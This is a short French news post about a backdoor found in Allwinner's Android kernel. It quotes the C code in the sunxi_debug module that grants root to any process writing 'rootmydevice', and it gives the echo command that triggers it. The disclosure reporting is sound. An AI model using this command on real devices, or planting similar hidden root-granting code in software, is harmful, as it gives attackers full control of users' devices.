Une backdoor dans les terminaux Android équipés de SoC Allwinner !
jeu, 12/05/2016 - 15:11
Allwinner est un concepteur chinois de puces SoC. Allwinner n'est pas fondeur, mais seulement concepteur. Il sous-traite la fabrication de ses Soc ce qui lui permet de les produire à bas prix.
Les Soc Allwinner sont principalement utilisés dans des terminaux Android bas de gammes, smartphones et tablettes, et aussi dans l'Orange Pi ce nano ordinateur concurrent du Raspberry Pi.
Allwinner tâte aussi du clavier et fourni un noyau pour les machines équipées de ses puces. il s'agit d'un noyau dérivé du noyau Android basé sur la branche Linux 3.4. Le code de ce noyau est en grande partie fermée.
Mais pas totalement fermé... Une partie du code est sur GitHub. Et justement y a été découvert un morceau de code rigolo, dans le code d'un processus dédié au débogage. Soit c'est un morceau de code de test qui a été oublié là, avant la distribution du noyau, soit c'est une backdoor délibérée.
if(!strncmp("rootmydevice",(char*)buf,12)){
cred = (struct cred *)__task_cred(current);
cred->uid = 0;
cred->gid = 0;
cred->suid = 0;
cred->euid = 0;
cred->euid = 0;
cred->egid = 0;
cred->fsuid = 0;
cred->fsgid = 0;
printk("now you are root\n");
}
Quoi qu'il en soit il suffit décrire dans le fichier du processus de débgage sunxi_debug pour acquérir les droit de root :
echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug
Ce que peut être fait par n'importe quel processus, tournant sous n'importe quel identifiant utilisateur (UID). A priori des services réseau peuvent le faire aussi, ce qui revient à dire que c'est un jeu d'enfant de rooter ces terminaux Allwinner :-) C'est trop tentant de dire que l'on gagne tous les coups ;-)
La page GitHub qui permettait d'accéder à ce code semble avoir été fermée par Allwinner.